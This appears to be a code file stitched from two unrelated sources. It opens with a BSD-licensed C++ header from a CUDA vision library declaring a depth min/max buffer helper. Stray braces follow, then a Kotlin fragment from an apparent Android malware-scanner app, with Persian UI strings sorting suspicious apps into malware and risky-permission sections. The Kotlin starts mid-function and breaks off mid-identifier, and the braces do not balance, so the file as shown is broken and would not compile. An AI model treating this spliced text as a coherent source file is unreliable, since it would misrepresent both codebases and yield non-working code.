// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice,
//    this list of conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright notice,
//    this list of conditions and the following disclaimer in the documentation
//    and/or other materials provided with the distribution.
//
// 3. Neither the name of the copyright holder nor the names of its contributors
//    may be used to endorse or promote products derived from this software
//    without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.

#pragma once

#include <libvis/cuda/cuda_buffer.h>

namespace vis {

// Helper for ComputeMinMaxDepthCUDA() which initializes the required buffers.
// These should be kept persistently to avoid frequent GPU memory allocations.
void ComputeMinMaxDepthCUDA_InitializeBuffers(
    CUDABufferPtr<float>* init_buffer,
    CUDABufferPtr<float>* result_buffer);

}


}
                                    }
                                    appWithThreat
                                } else null
                            } else null
                        }
                    }

                try {
                    detectSuspiciousAppsJobs.awaitAll().filterNotNull()

                    if (!scanManuallyStopped) {
                        _scanState.value = ScanState.COMPLETED_SUCCESSFULLY
                        val currentTime = System.currentTimeMillis()
                        scanUtils.setLastScanTime(currentTime)
                        _lastScanTime.value =
                            NumberUtils.toPersianNumbers(scanUtils.getLastScanTimeAgo())
                        _scanStatusMessage.value =
                            "${NumberUtils.toPersianNumbers(totalApps.toString())} برنامه بررسی شد."
                    }
                } catch (e: Exception) {
                    if (e is CancellationException && scanManuallyStopped) {
                        return@launch
                    }

                    // Only update state if scan wasn't manually stopped
                    if (!scanManuallyStopped) {
                        _scanState.value = ScanState.COMPLETED_WITH_ERRORS
                        _scanStatusMessage.value = "خطا در حین اسکن"
                    }
                }
            } catch (_: Exception) {
                // Handle potential exceptions from scanUtils in preview context
                _scanState.value = ScanState.COMPLETED_WITH_ERRORS
                _scanStatusMessage.value = "خطا در حین اسکن"
            }
        }
    }

    open fun stopScan() {
        scanManuallyStopped = true

        scanScope.coroutineContext.cancelChildren()
        _scanStatusMessage.value = "اسکن لغو شد!"
        _scanState.value = ScanState.STOPPED
    }

    override fun onCleared() {
        super.onCleared()
        scanScope.cancel()
        audioHelper.release()
    }
}

@Composable
fun createAppSections(suspiciousApps: List<App>): List<SectionConfig> {
    val malwareApps = suspiciousApps.filter { it.threatType == AppThreatType.MALWARE }
    val riskyPermissionApps =
        suspiciousApps.filter { it.threatType == AppThreatType.RISKY_PERMISSIONS }

    return listOf(
        SectionConfig(
            title = "بدافزارهای شناسایی شده",
            subtitle = "این برنامه‌ها مشکوک هستند و باید سریع حذف شوند.".takeIf { malwareApps.isNotEmpty() },
            icon = Icons.Outlined.GppBad,
            color = if (malwareApps.isNotEmpty()) Red else GreyMiddle.copy(alpha = 0.5f),
            apps = malwareApps,
            appItemType = AppThreatType.MALWARE
        ),
        SectionConfig(
            title = "برنامه‌های نیاز به بررسی بیشتر",
            subtitle = ("این برنامه‌ها به دلایل زیر نیاز به بررسی بیشتر و دقیق‌تر دارند:\n" +
                    "• نصب از منابعی غیر از مارکت‌های معتبر اندروید\n" +
                    "• ترکیب دسترسی‌های حساس").takeIf { riskyPermissionApps.isNotEmpty() },
            icon = Icons.Outlined.AdminPanelSettings,
            color = if (riskyPermissionApps.isNotEmpty()) YellowDark else GreyMiddle.copy(alpha = 0.5f),
            apps = riskyPermissionApps,
            appItemType = AppThreatType.RISKY_PERMISSIO